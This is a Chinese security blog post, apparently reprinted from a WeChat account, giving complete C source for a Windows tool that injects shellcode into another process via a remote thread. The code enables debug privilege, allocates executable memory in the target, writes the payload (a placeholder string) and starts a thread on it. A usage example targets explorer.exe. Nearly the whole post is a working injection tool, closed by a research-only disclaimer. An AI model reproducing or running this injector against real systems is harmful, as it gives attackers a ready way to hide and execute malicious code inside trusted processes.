功能实现
BOOL CurrentProcessAdjustToken(int);
void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);
// usage: RemoteInjection [: pid] [: DllPath] [: optional[: mode(default 0 run as common user, or 1 run as administrator even system)]]
int wmain(int argc, wchar_t *argv[])
{
if (argc < 2) {
_putts(TEXT("usage: RemoteInjection [: pid] [: optional[: mode(default 0 run as common user, or 1 run as administrator even system)]]nexample: RemoteInjection.exe 512 n RemoteInjection.exe 512 1"));
return 0;
} {
int mode = 0;
if (argc == 3 && _wtoi(argv[2]) != 0) {
mode = 1;
}
if (!CurrentProcessAdjustToken(mode)) {
_putts(TEXT("Privilege Adjust Failed"));
}
DWORD pid = 0;
pid = _wtoi(argv[1]);
if (pid <= 0) {
_putts(TEXT("Invalid pid"));
return 0;
}
HANDLE process = NULL;
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (NULL == process)
{
DisplayErrorMessage((LPTSTR)"OpenProcess error: ", GetLastError());
return 0;
}
const char buf[] ="shellcode";
unsigned int bufLength = strlen(buf);
LPVOID mem = NULL;
mem = VirtualAllocEx(process, NULL, bufLength * sizeof(char), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) {
_putts(TEXT("VirtualAllocEx error"));
return 0;
}
if (!WriteProcessMemory(process, mem, buf, bufLength * sizeof(char), NULL)) {
DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());
return 0;
}
HANDLE thread = NULL;
thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
if (!thread) {
_putts(TEXT("CreateRemoteThread error"));
return 0;
}
WaitForSingleObject(thread, INFINITE);
VirtualFreeEx(process, mem, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(process);
return 1;
}
}
BOOL CurrentProcessAdjustToken(int mode) {
if (mode == 0) {
return FALSE;
}
HANDLE hToken;
TOKEN_PRIVILEGES sTP;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {
CloseHandle(hToken);
return FALSE;
}
sTP.PrivilegeCount = 1;
sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
return FALSE;
}
void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError){
HLOCAL hlErrorMessage = NULL;
if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))
{
_tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));
LocalFree(hlErrorMessage);
}
}
功能展示
使用方式:
使用optional选项指定mode数值为1,以管理员权限执行注入程序,尝试将shellcode注入到explorar.exe程序中并执行:
RemoteInjectionShellcode.exe 1360 1
原文始发于微信公众号(蟹堡安全团队):通过远程线程注入shellcode功能实现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论